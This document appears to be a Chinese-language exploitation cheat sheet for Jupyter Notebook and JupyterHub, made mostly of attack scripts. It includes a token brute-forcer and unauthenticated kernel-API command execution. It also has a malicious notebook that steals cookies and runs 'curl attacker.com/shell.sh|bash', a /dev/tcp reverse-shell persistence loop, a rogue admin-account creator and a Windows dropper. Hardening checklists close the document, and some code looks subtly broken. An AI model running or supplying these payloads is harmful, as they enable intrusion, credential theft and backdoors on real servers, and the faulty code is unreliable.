Jupyter Notebook JupyterHub 未授权访问 CVE RCE 利用技术

nmap -sV -p 8888,8000,8443 <target>

# 检测 Jupyter Notebook
curl -sI http://TARGET:8888/
# Server: TornadoServer/x.x.x
# X-Frame-Options: SAMEORIGIN
# 标题包含 "Jupyter Notebook" 或 "JupyterHub"

# 检测版本
curl -s http://TARGET:8888/api/status
# {"kernels":{}}  (无需认证即可访问)

/                                 # Notebook 首页
/login                            # JupyterHub 登录
/hub/login                        # JupyterHub 登录
/hub/spawn                        # 服务器启动页
/api/status                       # 内核状态（无认证）
/api/kernels                      # 内核列表（无认证）
/api/kernels/{id}                 # 指定内核
/api/contents                     # 文件列表
/terminals                        # 终端
/files/                           # 文件浏览
/nbextensions/                    # Notebook 扩展
/lab                              # JupyterLab
/trust                            # Notebook 信任管理
/oauth_callback                   # OAuth 回调

import requests

def detect_jupyter(host, port=8888):
    base_url = f"http://{host}:{port}"

    # 检查是否无认证访问
    resp = requests.get(f"{base_url}/api/status", timeout=5)
    if resp.status_code == 200:
        print(f"[+] Jupyter accessible WITHOUT authentication!")
        data = resp.json()
        print(f"[*] Status: {data}")

    # 检查 API
    resp = requests.get(f"{base_url}/api/kernels", timeout=5)
    if resp.status_code == 200:
        print(f"[+] Kernel API accessible: {len(resp.json())} kernels running")

    # 检查 JupyterHub
    resp = requests.get(f"{base_url}/hub/login", timeout=5,
                        allow_redirects=False)
    if resp.status_code in [200, 302]:
        print(f"[+] JupyterHub login detected")

    # 检查 JupyterLab
    resp = requests.get(f"{base_url}/lab", timeout=5)
    if resp.status_code == 200:
        print(f"[+] JupyterLab available")

detect_jupyter("192.168.1.100")

# 1. 启动日志中明文打印 Token
# 通常在 /proc/<pid>/cmdline 或 systemd 日志中可见
cat /proc/$(pgrep -f jupyter)/cmdline | tr '\0' '\n'
# --NotebookApp.token='abc123def456'

# 2. Jupyter 配置文件中
cat ~/.jupyter/jupyter_notebook_config.py | grep token
cat ~/.jupyter/jupyter_notebook_config.json

# 3. 运行时文件
cat ~/.local/share/jupyter/runtime/jupyter_cookie_secret
cat ~/.local/share/jupyter/runtime/nbserver-*.json
# 包含 token 和 port 信息

# 4. 系统进程列表
ps aux | grep jupyter | grep token

import requests
import string
import itertools

def brute_force_token(host, port=8888, charset=string.ascii_lowercase + string.digits):
    """
    Jupyter Notebook Token 暴力破解
    默认 Token 长度通常为 6-12 字符，使用小写字母和数字
    """
    base_url = f"http://{host}:{port}"

    for length in range(6, 10):
        print(f"[*] Trying length {length}...")
        for combo in itertools.product(charset, repeat=length):
            token = "".join(combo)
            resp = requests.get(
                f"{base_url}/?token={token}",
                timeout=3,
                allow_redirects=False
            )
            if resp.status_code in [200, 304] and "logout" in resp.text.lower():
                print(f"[+] Token found: {token}")
                return token

            # 也检查 API 端点
            resp = requests.get(
                f"{base_url}/api/contents?token={token}",
                timeout=3
            )
            if resp.status_code == 200:
                print(f"[+] Token found via API: {token}")
                return token

    print(f"[-] Token not found")
    return None

# 使用 hashcat / john 的更高效方式:
# 1. 获取 Token hash
# 2. 使用 hashcat -m 模式暴力破解

import requests

def exploit_pid_token_leak(host, port=8888):
    """
    CVE-2022-29241 — 通过 PID 猜测获取 Token
    """
    base_url = f"http://{host}:{port}"

    for pid in range(1, 65535):
        resp = requests.get(
            f"{base_url}/api/contents/?token=",  # 空 token
            timeout=3
        )

        # 尝试访问 /proc/<pid> 路径获取 token
        resp = requests.get(
            f"{base_url}/api/contents/proc/{pid}/cmdline",
            timeout=3
        )
        if resp.status_code == 200:
            data = resp.json()
            print(f"[+] PID {pid} accessible: {data}")

exploit_pid_token_leak("192.168.1.100")

import requests
import json

def exploit_kernel_api(host, port=8888, cmd="id"):
    """
    通过 Jupyter Kernel API 无认证执行任意命令
    """
    base_url = f"http://{host}:{port}"

    # Step 1: 创建新内核
    kernel_spec = {"name": "python3"}
    resp = requests.post(
        f"{base_url}/api/kernels",
        json=kernel_spec,
        timeout=10
    )

    if resp.status_code in [200, 201]:
        kernel_id = resp.json()["id"]
        print(f"[+] Kernel created: {kernel_id}")

        # Step 2: 在内核中执行代码
        code_payload = {
            "code": f"import os; result = os.popen('{cmd}').read(); print(result)"
        }
        resp = requests.post(
            f"{base_url}/api/kernels/{kernel_id}/execute",
            json=code_payload,
            timeout=15
        )
        print(f"[+] Command sent to kernel: {resp.status_code}")

        # Step 3: 获取执行结果
        import time
        time.sleep(3)
        resp = requests.get(
            f"{base_url}/api/kernels/{kernel_id}/messages",
            timeout=10
        )
        messages = resp.json()
        for msg in messages:
            if msg.get("msg_type") == "stream":
                content = msg.get("content", {})
                text = content.get("text", "")
                if text.strip():
                    print(f"[+] Output: {text.strip()}")

        return kernel_id

    print(f"[-] Kernel creation failed: {resp.status_code}")
    return None

exploit_kernel_api("192.168.1.100", cmd="id && whoami && hostname")

import websocket
import json
import time

def exploit_websocket_kernel(host, port=8888, cmd="id"):
    """
    通过 WebSocket 直接连接内核执行代码
    """
    ws_url = f"ws://{host}:{port}/api/kernels"

    # 连接到 WebSocket
    ws = websocket.create_connection(ws_url, timeout=10)

    # 创建内核请求
    ws.send(json.dumps({
        "header": {
            "msg_id": "exec-01",
            "msg_type": "execute_request",
            "username": "",
            "session": "session-01",
            "date": "2025-06-22T00:00:00Z",
            "version": "5.3"
        },
        "parent_header": {},
        "content": {
            "code": f"import subprocess; print(subprocess.check_output(['bash', '-c', '{cmd}']).decode())",
            "silent": False,
            "store_history": False,
        },
        "metadata": {},
        "buffers": []
    }))

    # 读取响应
    time.sleep(3)
    try:
        while True:
            result = ws.recv()
            data = json.loads(result)
            if data.get("msg_type") == "stream":
                print(f"[+] Output: {data['content']['text']}")
    except:
        pass

    ws.close()

exploit_websocket_kernel("192.168.1.100", cmd="id && hostname")

import requests
import json

def exploit_file_upload_rce(host, port=8888):
    """
    通过上传恶意 .ipynb 文件实现 RCE
    """
    base_url = f"http://{host}:{port}"

    # 构造恶意 Notebook
    malicious_notebook = {
        "cells": [
            {
                "cell_type": "code",
                "execution_count": None,
                "metadata": {},
                "outputs": [],
                "source": [
                    "import subprocess\n",
                    "result = subprocess.check_output(['id'])\n",
                    "print(result.decode())\n",
                    "result2 = subprocess.check_output(['cat', '/etc/passwd'])\n",
                    "print(result2.decode())"
                ]
            }
        ],
        "metadata": {
            "kernelspec": {
                "display_name": "Python 3",
                "language": "python",
                "name": "python3"
            },
            "language_info": {
                "name": "python",
                "version": "3.9.0"
            }
        },
        "nbformat": 4,
        "nbformat_minor": 4
    }

    # 上传恶意 Notebook
    resp = requests.put(
        f"{base_url}/api/contents/malicious.ipynb",
        json=malicious_notebook,
        timeout=10
    )

    if resp.status_code in [200, 201]:
        print(f"[+] Malicious notebook uploaded")

        # 执行 Notebook
        exec_resp = requests.post(
            f"{base_url}/api/contents/malicious.ipynb/checkpoints",
            json={},
            timeout=10
        )
        print(f"[*] Execution triggered: {exec_resp.status_code}")

exploit_file_upload_rce("192.168.1.100")

import requests

def exploit_jupyterhub_auth_bypass(host, port=8000):
    """
    CVE-2024-22421 — JupyterHub 认证绕过
    通过 next 参数路径穿越绕过认证
    """
    base_url = f"http://{host}:{port}"

    # 利用 /hub/login 的 next 参数
    # 通过 /../../ 路径穿越到非 /hub/ 前缀的路径
    bypass_paths = [
        "/hub/login?next=/%2e%2e%2fapi/users",
        "/hub/login?next=/%2e%2e%2fapi/user",
        "/hub/login?next=/../api/users",
        "/hub/login?next=/%2e%2e%2fstatus",
    ]

    for path in bypass_paths:
        resp = requests.get(
            f"{base_url}{path}",
            allow_redirects=False,
            timeout=5
        )
        print(f"[*] {path} -> {resp.status_code}")
        if resp.status_code == 200:
            print(f"[+] Auth bypass confirmed!")
            print(f"[*] Response: {resp.text[:500]}")
            break

exploit_jupyterhub_auth_bypass("192.168.1.100")

import requests

def exploit_jupyterhub_admin(host, port=8000, token=None):
    """
    通过 JupyterHub Admin API 进行管理操作
    需要管理员 Token (通常在配置文件或日志中可获取)
    """
    base_url = f"http://{host}:{port}"
    headers = {"Authorization": f"Bearer {token}"}

    # 列出所有用户
    resp = requests.get(f"{base_url}/hub/api/users",
                        headers=headers, timeout=10)
    users = resp.json()
    for user in users:
        print(f"[*] User: {user['name']} | Admin: {user.get('admin')}")

    # 创建管理员用户
    resp = requests.post(
        f"{base_url}/hub/api/users/hacker",
        json={"admin": True, "auth_state": {"access_token": "evil"}},
        headers=headers, timeout=10
    )
    print(f"[*] Create admin user: {resp.status_code}")

    # 以其他用户身份启动服务器
    resp = requests.post(
        f"{base_url}/hub/api/users/admin/server",
        headers=headers, timeout=10
    )
    print(f"[*] Spawn admin server: {resp.status_code}")

    # 获取所有活动的内核
    resp = requests.get(f"{base_url}/hub/api/users/admin/activity",
                        headers=headers, timeout=10)
    print(f"[*] User activity: {resp.text[:300]}")

exploit_jupyterhub_admin("192.168.1.100", token="admin-token-here")

import json

def create_malicious_notebook():
    """
    构造恶意 .ipynb 文件，利用 XSS 实现 RCE
    CVE-2018-8768 / CVE-2021-32798
    """
    malicious = {
        "cells": [
            {
                "cell_type": "markdown",
                "metadata": {},
                "source": [
                    '<img src=x onerror="fetch(\'http://attacker.com/steal?token=\'+document.cookie)">'
                ]
            },
            {
                "cell_type": "code",
                "execution_count": None,
                "metadata": {},
                "outputs": [],
                "source": [
                    "import os, subprocess\n",
                    "subprocess.Popen(['bash', '-c', 'curl http://attacker.com/shell.sh|bash'])\n",
                    "# 打开此 Notebook 即触发代码执行"
                ]
            }
        ],
        "metadata": {
            "kernelspec": {"display_name": "Python 3", "language": "python", "name": "python3"}
        },
        "nbformat": 4,
        "nbformat_minor": 4
    }

    with open("evil_notebook.ipynb", "w") as f:
        json.dump(malicious, f, indent=2)
    print("[+] Malicious notebook created: evil_notebook.ipynb")
    print("[*] Deliver to victim - they just need to open it in Jupyter")

create_malicious_notebook()

def create_xss_share_payload(host, port=8888):
    """
    通过 JupyterHub 的 Share 功能传播恶意 Notebook
    """
    # 恶意 Notebook 包含 JavaScript 偷取 Token
    xss_payload = """
    <script>
    // 在 Jupyter Notebook 渲染环境中执行
    var token = new URLSearchParams(window.location.search).get('token');
    if (!token) token = document.cookie.split('xsrf-token=')[1];

    // 窃取 Token 并发送到攻击者服务器
    fetch('http://attacker.com:9999/steal?token=' + token, {
        method: 'POST',
        body: JSON.stringify({
            origin: window.location.href,
            cookies: document.cookie
        })
    });

    // 也尝试直接通过 Kernel API 执行命令
    fetch('/api/kernels', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({name: 'python3'})
    }).then(r => r.json()).then(kernel => {
        fetch('/api/kernels/' + kernel.id + '/execute', {
            method: 'POST',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify({
                code: 'import os; os.system("curl http://attacker.com/shell.sh|bash")'
            })
        });
    });
    </script>
    """
    print(f"[*] XSS payload for {host}:{port}")
    return xss_payload

create_xss_share_payload("192.168.1.100")

def exploit_oauth_account_takeover():
    """
    CVE-2023-25574 — OAuthenticator 账户接管
    攻击条件:
    1. JupyterHub 使用 OAuthenticator
    2. username_claim 为 email
    3. OAuth Provider 不验证邮箱
    """
    print("[*] Attack scenario:")
    print("    1. Register attacker@target.com on OAuth Provider (e.g., Google)")
    print("    2. If victim is admin@target.com, register admin@target.com on same provider")
    print("    3. Login to JupyterHub with attacker-controlled admin@target.com")
    print("    4. Gain admin access to JupyterHub")
    print()
    print("[+] Mitigation: Use allowed_users whitelist in OAuthenticator config")

exploit_oauth_account_takeover()

def exploit_auth0_bypass():
    """
    CVE-2026-33175 — Auth0 + OAuthenticator 认证绕过
    攻击者使用 Auth0 tenant 上未验证的邮箱登录 JupyterHub
    当 email 用作 username_claim 时可实现账户接管
    """
    print("[*] Auth0 bypass scenario:")
    print("    1. Create Auth0 account with victim's email")
    print("    2. Do NOT verify email on Auth0")
    print("    3. Login to JupyterHub via Auth0")
    print("    4. OAuthenticator accepts unverified email as username")

exploit_auth0_bypass()

def exploit_server_proxy_xss(host, port=8888):
    """
    CVE-2024-35225 — Jupyter Server Proxy XSS
    /proxy/<host> 端点未过滤无效 host 值，导致 XSS
    """
    base_url = f"http://{host}:{port}"

    xss_payload = '<script>alert(document.cookie)</script>'
    encoded_payload = requests.utils.quote(xss_payload)

    url = f"{base_url}/proxy/{encoded_payload}"
    print(f"[*] XSS payload URL: {url}")
    print("[+] Deliver to Jupyter user for session hijack")

exploit_server_proxy_xss("192.168.1.100")

# Windows 上的利用路径:
# 1. 创建恶意 inkscape.bat
echo @echo off > C:\Users\Public\inkscape.bat
echo curl http://attacker.com/shell.exe -o C:\Users\Public\shell.exe >> C:\Users\Public\inkscape.bat
echo C:\Users\Public\shell.exe >> C:\Users\Public\inkscape.bat

# 2. 确保 C:\Users\Public 在 PATH 中（或放在用户 PATH 目录）

# 3. 用户执行:
# jupyter nbconvert --to pdf malicious_notebook.ipynb
# → 触发 inkscape.bat → RCE

import requests

def exploit_cors_bypass(host, port=8888):
    """
    CVE-2026-40110 — CORS 绕过
    re.match() 只锚定字符串开头，不锚定末尾
    trusted.example.com.evil.com 可通过 trusted.example.com 的验证
    """
    base_url = f"http://{host}:{port}"

    # 如果 Jupyter Server 配置了 allow_origin_pat:
    # allow_origin_pat = "trusted\\.example\\.com"
    # 则攻击者控制的域名 trusted.example.com.evil.com 可通过验证

    # 从攻击者域名发送跨域请求
    headers = {
        "Origin": "https://trusted.example.com.evil.com",
        "Content-Type": "application/json"
    }

    # 尝试访问受保护的 API
    resp = requests.get(f"{base_url}/api/users",
                        headers=headers, timeout=10)

    cors_header = resp.headers.get("Access-Control-Allow-Origin", "")
    if cors_header:
        print(f"[+] CORS bypass successful!")
        print(f"[*] Access-Control-Allow-Origin: {cors_header}")

exploit_cors_bypass("192.168.1.100")

def persist_kernel_shell(host, port=8888):
    """
    通过长期运行的 Kernel 实现持久化
    创建一个持续回连的后台进程
    """
    base_url = f"http://{host}:{port}"

    # 创建内核
    resp = requests.post(f"{base_url}/api/kernels",
                         json={"name": "python3"}, timeout=10)
    kernel_id = resp.json()["id"]

    # 注入持久化代码
    persist_code = """
import threading, subprocess, time, os

def backdoor():
    while True:
        try:
            subprocess.Popen([
                'bash', '-c',
                'bash -i >& /dev/tcp/attacker/4444 0>&1'
            ])
        except:
            pass
        time.sleep(300)  # 每5分钟重连

t = threading.Thread(target=backdoor, daemon=True)
t.start()
"""
    requests.post(f"{base_url}/api/kernels/{kernel_id}/execute",
                  json={"code": persist_code}, timeout=10)
    print(f"[+] Persistence kernel created: {kernel_id}")
    print("[*] Kernel runs as long as Jupyter Server is active")

persist_kernel_shell("192.168.1.100")

# CVE-2026-40934 — 密码重置后 Cookie Secret 不轮换
# 即使修改密码，旧 session cookie 仍然有效

# 1. 窃取 jupyter_cookie_secret
cat ~/.local/share/jupyter/runtime/jupyter_cookie_secret

# 2. 使用窃取的 secret 伪造任意 session
# 修改密码后旧 cookie 仍可使用
# 防御: 每次密码重置后手动删除 cookie_secret 文件

# 检查 Kernel 异常创建
grep "POST /api/kernels" access.log

# 检查未授权 API 访问
grep "GET /api/contents" access.log | grep -v "token="

# 检查文件上传异常
grep "PUT /api/contents" access.log | grep -v "normal_user"

# 检查认证绕过尝试
grep "/hub/login.*next=" access.log | grep "%2e\|%2E\|\.\."

# 检查 Token 暴力破解
grep "/?token=" access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head

# 检查 WebSocket 异常连接
grep "WebSocket" access.log | grep "kernels"

[ ] 确认 Jupyter/JupyterHub 版本
    - pip show jupyter jupyterhub jupyter-server

[ ] 检查认证配置
    - 确认是否启用了 Token/密码认证
    - 检查是否暴露了无认证的 API 端点

[ ] 排查 Token 泄露
    - 检查进程列表是否暴露 Token
    - 审计 jupyter_notebook_config.py 配置
    - 轮换 Token/密码

[ ] 排查 Kernel 异常
    - 检查所有活跃的 Kernel 列表
    - 审计 Kernel 执行历史

[ ] 排查恶意 Notebook
    - 检查所有 .ipynb 文件中的恶意代码
    - 检查文件修改时间异常

[ ] 检查 JupyterHub 认证
    - 审计用户列表是否有异常账户
    - 检查 OAuthenticator 配置

[ ] 网络隔离与加固
    - 启用 Token 认证或集成 SSO
    - 禁用无需认证的 API 端点
    - 限制 Jupyter Server 的出站网络访问
    - 启用 Content Security Policy (CSP)
    - 升级到最新版本

[ ] Jupyter Notebook 已启用 Token 或密码认证
[ ] Token 长度 ≥ 32 字符，使用随机生成器
[ ] JupyterHub 已启用强认证 (SSO + MFA)
[ ] OAuthenticator 配置了 allowed_users 白名单
[ ] Jupyter Server 仅绑定内网地址
[ ] Kernel API 已启用认证
[ ] 上传文件类型限制 (阻止 .ipynb 自动执行)
[ ] Jupyter Server Proxy 已更新 (防御 XSS)
[ ] nbconvert 仅在可信环境使用
[ ] Cookie Secret 定期轮换
[ ] CORS 配置使用完整域名匹配 (非 re.match)
[ ] 文件系统权限限制 (Notebook 目录外不可访问)
[ ] 配置 CSP 头部防止 XSS
[ ] 监控异常 Kernel 创建和代码执行
[ ] 限制 Jupyter Server 出站网络 (防止 SSRF/反弹 Shell)